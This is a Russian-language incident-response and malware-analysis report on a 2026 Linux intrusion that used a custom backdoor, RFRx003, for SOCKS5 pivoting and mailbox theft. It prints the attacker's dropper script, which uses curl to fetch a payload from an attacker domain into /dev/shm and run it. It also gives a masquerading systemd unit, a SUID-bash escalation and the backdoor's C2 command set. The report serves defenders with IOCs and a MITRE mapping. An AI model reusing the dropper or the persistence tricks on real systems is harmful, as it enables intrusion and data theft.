Летом 2026 года неизвестные атакующие смогли получить доступ к инфраструктуре компании и закрепиться внутри нее. При атаке использовалось ранее неизвестное кастомное вредоносное ПО класса backdoor, которое позволяло атакующим строить туннели для попыток скрытого бокового перемещения.

Ключевые выводы

  • Летом 2026 года мы расследовали инцидент, в котором атакующие оставались незамеченными в инфраструктуре организации несколько месяцев.
  • Точкой входа стал сервис на периметре: эксплуатация свежей на тот момент RCE-уязвимости предоставила атакующим выполнение кода от имени системы с последующим повышением привилегий.
  • Для закрепления использовался сервис timesync.service, маскирующийся под штатный демон синхронизации времени, а впоследствии — задание cron от имени root.
  • Ключевым инструментом бокового перемещения стал неизвестный ранее бэкдор RFRx003. Он поддерживает два транспортных канала: HTTPS и WSS — и реализует полноценный набор команд для разведки, файловой работы, туннелирования трафика через SOCKS5 и запуска интерактивной оболочки через PTY.
  • Дополнительный дроппер — shell-скрипт pkgmgr — скачивал второй экземпляр бэкдора из инфраструктуры атакующих, используя в качестве имени файла package.json для маскировки под пакет npm.
  • Для получения root-доступа был размещен исполняемый файл bash с выставленным SUID-битом.
  • Атакующие использовали бэкдор для построения SOCKS5-туннелей, через которые осуществляли боковое перемещение и в конечном счете похитили данные почтовых ящиков сотрудников.

Обзор инцидента

Летом 2026 года к нам обратился заказчик из IT-сектора за помощью в расследовании инцидента: в организации были обнаружены успешные входы во внешние веб-сервисы с нетипичных IP-адресов, а также подозрительных User Agent. Примечательно, что у атакующих уже были учетные данные для входа. При этом в журналах не было обнаружено следов подбора паролей.

Внутреннее расследование заказчика показало, что незадолго до этого была скомпрометирована учетная запись действующего сотрудника с последующей эксфильтрацией данных почтового ящика, также в одной из внутренних информационных систем были обнаружены нелегитимный ssh-ключ и подозрительный процесс.

В результате проведения углубленного анализа было установлено, что атакующие оказались в инфраструктуре несколькими месяцами ранее в результате компрометации одного из сервисов на периметре с помощью свежей на тот момент уязвимости, позволившей атакующим удаленно выполнять вредоносный код от имени системы и повысить свои привилегии.

После эксплуатации уязвимости атакующие разместили в системе вредоносное ПО RFRx003 класса Backdoor по пути /etc/time, а также закрепили его с помощью сервиса /etc/systemd/system/timesync.service, описание сервиса имитирует штатный NTP-демон systemd-timesyncd:

    
[Unit]
Description=Provides a time synchronization service
After=network-online.target
Requires=network-online.target
 
[Service]
ExecStart=/etc/time
Type=forking
KillMode=control-group
Restart=always
RestartSec=5
 
[Install] 
WantedBy=multi-user.target
    

Содержимое файла timesync.service

Спустя несколько месяцев в зараженной системе были обнаружены следы активности атакующих: был создан исполняемый файл bash /usr/bin/zdumd с установленным SUID-битом (позволяет получить привилегии root любому пользователю системы). Тогда же атакующие разместили в системе скрипт /usr/bin/pkgmgr, представляющий собой вредоносное ПО класса dropper:

    
#!/bin/bash

if curl -fsk hxxps[:]//v32738123193.upd.baselinux.net:8443/package.json --retry 2 --retry-delay 5 --connect-timeout 10 --output /dev/shm/packagemgr; then
    cd /dev/shm
    chmod +x ./packagemgr
    PATH=.:$PATH ./packagemgr &
fi
    

Содержимое файла pkgmgr

При этом выбор /dev/shm как директории исполнения — один из ключевых индикаторов вредоносности. /dev/shm — это tmpfs (RAM-диск): записанные туда файлы не попадают на диск, а содержатся исключительно в памяти, что обходит ряд средств мониторинга файловой системы и затрудняет расследование. Кроме того, после перезагрузки содержимое /dev/shm стирается, что практически безвозвратно уничтожает следы.

При этом dropper был закреплен в системе с помощью файла cron /var/spool/cron/crontabs/root.

Ближе к датам обнаружения инцидента, атакующие разместили несколько одинаковых экземпляров Backdoor по разным путям:

  • /tmp/.X11-unix/confs;
  • /etc/vtrgbs;
  • /etc/time (размещен повторно);

которые использовались для построения прокси-туннелей для бокового перемещения по инфраструктуре.

RFRx003

RFRx003 представляет собой компактный, профессионально написанный бэкдор для пивотинга в linux-инфраструктуре. Его архитектурные решения свидетельствуют о целенаправленной разработке инструмента, рассчитанного на длительное и скрытное присутствие в сети жертвы.

При запуске бэкдор считывает встроенный конфигурационный блок, закодированный в Base64. Декодированная структура имеет длину 72 байта. Конфигурация имеет следующую структуру:

    
struct RFRx003_config {
    char hostname[32]; // C2
    char path[32];     // эндпойнт основного канала
    uint16_t port;     // HTTPS/WSS порт
    uint16_t reserved; // зарезервировано, всегда 0x0000
    uint8_t jitter;    // случайная задержка перед повторным подключением в секундах
    uint8_t pad[3];    // выравнивание
};
    

Структура конфигурации RFRx003

RFRx003 использует Mongoose — встраиваемый событийно-ориентированный C-фреймворк для HTTP/WebSocket. Поверх Mongoose реализованы два транспортных режима. Основной — HTTP и дополнительный — WSS.

Все сообщения C2 передаются как HTTP-запросы к эндпойнту основного канала. В исследуемом образце это /api/v1/gateway. Каждый запрос содержит следующие заголовки:

    
User-Agent: curl/7.86.0
Content-Type: application/octet-stream
DNT: 1
    

HTTP-заголовки RFRx003

User-Agent curl/7.86.0 имитирует утилиту командной строки. TLS реализован через встроенный mbedTLS.

Все сообщения между имплантом и C2 имеют бинарный формат с заголовком фиксированной длины 8 байт:

    
struct msg_header {
    uint32_t command_id;  // идентификатор команды (little-endian)
    uint32_t session_id;  // идентификатор сессии (little-endian)
    // далее следует полезная нагрузка
};
    

Бинарный заголовок RFRx003

Бэкдор имеет полноценный набор из 16 команд для разведки, файловой работы, туннелирования трафика через SOCKS5 и запуска интерактивной оболочки через PTY.

ID команды Описание
0x5001 Запрос имени хоста (gethostname)
0x5003 Запрос имени процесса (/proc/self/comm или prctl)
0x5004 Краткий uname: sysname, nodename, release
0x5005 Расширенный uname: полная структура struct utsname
0x5008 Чтение произвольного файла (включая /proc/* и именованные каналы)
0x5009 Листинг директории (имя, размер, uid, mtime, ctime)
0x500A Смена рабочей директории (chdir); возвращает 200 или 400
0x500D Открыть вспомогательный WSS-канал для интерактивного взаимодействия
0x500E Передать блок данных через SOCKS5-туннель
0x5010 Ping (ответ пустой 0x5010-пакет)
0x5020 Исполнить команду в bash; если PTY не открыт, инициализирует PTY
0x5021 Установить SOCKS5-туннель (по IP или домену; DNS — 8.8.8.8)
0x5030 Открыть интерактивную bash-сессию с ключом -i через PTY (с параметрами терминала)
0x5031 Уведомление о размере скачиваемого файла
0x5040 Скачать файл: GET /users/avatars?id=<file_id>
0x5041 Отправить файл: POST /api/v1/upload

Система команд RFRx003

По команде 0x500D открывается вспомогательное WebSocket-соединение с тем же C2-хостом. Этот канал используется для интерактивной работы (PTY-шелл, SOCKS5-туннель). В HTTPS-режиме имплант искусственно вводит задержку 10 секунд перед открытием этого канала, что может использоваться для сокрытия своих запросов среди других.

При получении команды 0x5030 (или 0x5020, если PTY еще не открыт) бэкдор создает интерактивный bash-шелл через псевдотерминал. При этом он устанавливает HISTFILE в пустую строку, чем предотвращает запись истории bash в ~/.bash_history. Опция -i запускает bash в интерактивном режиме. Команда 0x5020 осуществляет запись данных в master-fd PTY, что транслируется в стандартный ввод bash.

Команда 0x5021 инициализирует SOCKS5-туннель. Бэкдор реализует разбор заголовка SOCKS5 CONNECT:

  • ATYP = 0x01 (IPv4): извлекает 4 байта адреса, форматирует IP-адрес в строку и подключается напрямую.
  • ATYP = 0x03 (доменное имя): извлекает длину и имя хоста, резолвит через udp://8.8.8.8:53 (Google Public DNS, захардкожен в коде Mongoose) и подключается к полученному IP.

Туннельное TCP-соединение обертывается в WSS-поток (тип контекста 2), что снимает с него задержку в 10 секунд.

Команда 0x500E передает блоки данных через установленный туннель.

Для загрузки файлов на C2 используется команда 0x5041. Она отправляет пост-запрос на эндпойнт /api/v1/upload с параметром Range, который указывает на смещение в файле и обеспечивает возможность возобновления передачи с произвольного смещения.

Для скачивания файла с C2 используется команда 0x5040, которая использует эндпойнт /users/avatars?id=<file_id> и имитирует запрос аватара пользователя, маскируя загрузку инструментов под легитимный веб-трафик.

Заключение

В результате эксплуатации RCE-уязвимости атакующие получили плацдарм в инфраструктуре организации и совершали попытки планомерного наращивания присутствия, собирая учетные данные и выстраивая каналы бокового перемещения.

Примененные техники — маскировка под системный NTP-сервис, исполнение полезной нагрузки из /dev/shm, использование SUID-bash для тихого повышения привилегий, загрузка бэкдора под именем package.json — отражают наличие у атакующих опыта работы с linux-инфраструктурой и понимание типичных слепых зон корпоративных средств защиты.

Инструментарий кампании не совпадает с ранее описанными публично наборами вредоносного ПО. RFRx003 является кастомно разработанным имплантатом с профессиональной архитектурой. Мы продолжаем отслеживать данную активность и рекомендуем организациям проверить свои системы на наличие описанных в этой статье индикаторов компрометации.

IOC

Files

MD5

2c4e238da1f6293f3a58d9b1b54b5f9f (RFRx003)
2b255e5ab646352cdde7630e5aae145e (RFRx003)
7797a72112b79332ff279b8bceeb671b (сервис-загрузчик)

SHA1

0254de8d244077c88aad04568d92edae38f3fbbc (RFRx003)
435ba7ebb7b5c7c865f92ec1b71403f719c551a0 (RFRx003)
71ae6c5a51ac01b7e92fda9b7a26debd6e453a93 (сервис-загрузчик)

SHA256

fbb6a011c382e78e8d74ab62af2b16b88fae435029dff5652570d92e4eb52554 (RFRx003)
6bd9a1819550861ae65bae89a2f8ba6c932812a58c9bb482cf1e9dbe3ec0c28b (RFRx003)
942137727eb02afcf4c60abeb40b65874545983be12bb22886d1a67c0f8ea6f5 (сервис-загрузчик)

Domain

aldline[.]com
v32738123193.upd.baselinux[.]net

MITRE ATT&CK

Тактика ID Техника Процедура
Initial Access T1190 Exploit Public-Facing Application Эксплуатация RCE-уязвимости в сервисе на периметре
Privilege Escalation T1068 Exploitation for Privilege Escalation Уязвимость позволила повысить привилегии до system
T1548.001 Abuse Elevation Control Mechanism: Setuid and Setgid Получение root через /usr/bin/zdumd — bash с SUID
Persistence T1543.002 Create or Modify System Process: Systemd Service Был создан системный сервис timesync.service, который запускал /etc/time при старте системы
T1053.003 Scheduled Task/Job: Cron Дроппер pkgmgr был закреплен в /var/spool/cron/crontabs/root
Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location Загружаемый ELF-файл назван package.json
T1036.004 Masquerading: Masquerade Task or Service Созданный системный сервис timesync.service маскировался описанием под NTP-демон
T1562.001 Impair Defenses Исполнение из /dev/shm (tmpfs) обходит ряд средств файлового мониторинга
Execution T1059.004 Command and Scripting Interpreter: Unix Shell Дроппер pkgmgr — bash-скрипт; RFRx003 использует bash PTY
Command & Control T1071.001 Application Layer Protocol: Web Protocols HTTPS/WSS-канал RFRx003 к www[.]aldline[.]com
T1008 Fallback Channels WSS как резервный интерактивный канал при основном HTTPS
T1090.001 Proxy: Internal Proxy SOCKS5-туннель поверх WSS для бокового перемещения
T1105 Ingress Tool Transfer Дроппер загружает бэкдор: команда 0x5040 RFRx003 для загрузки произвольных файлов
Discovery T1082 System Information Discovery Команды 0x5004 / 0x5005 RFRx003: получение uname
T1083 File and Directory Discovery Команда 0x5009 RFRx003: листинг директорий
Collection T1005 Data from Local System Команда 0x5008 RFRx003: чтение файлов, в т. ч. /proc/*
T1114 Email Collection Эксфильтрация данных почтовых ящиков через скомпрометированный VPN
Lateral Movement T1021 Remote Services PTY bash-сессии; SOCKS5-пивотинг через RFRx003
Credential Access T1078 Valid Accounts Использование скомпрометированных VPN-учетных данных
Exfiltration T1041 Exfiltration Over C2 Channel Команда 0x5041 RFRx003: POST-загрузка файлов на C2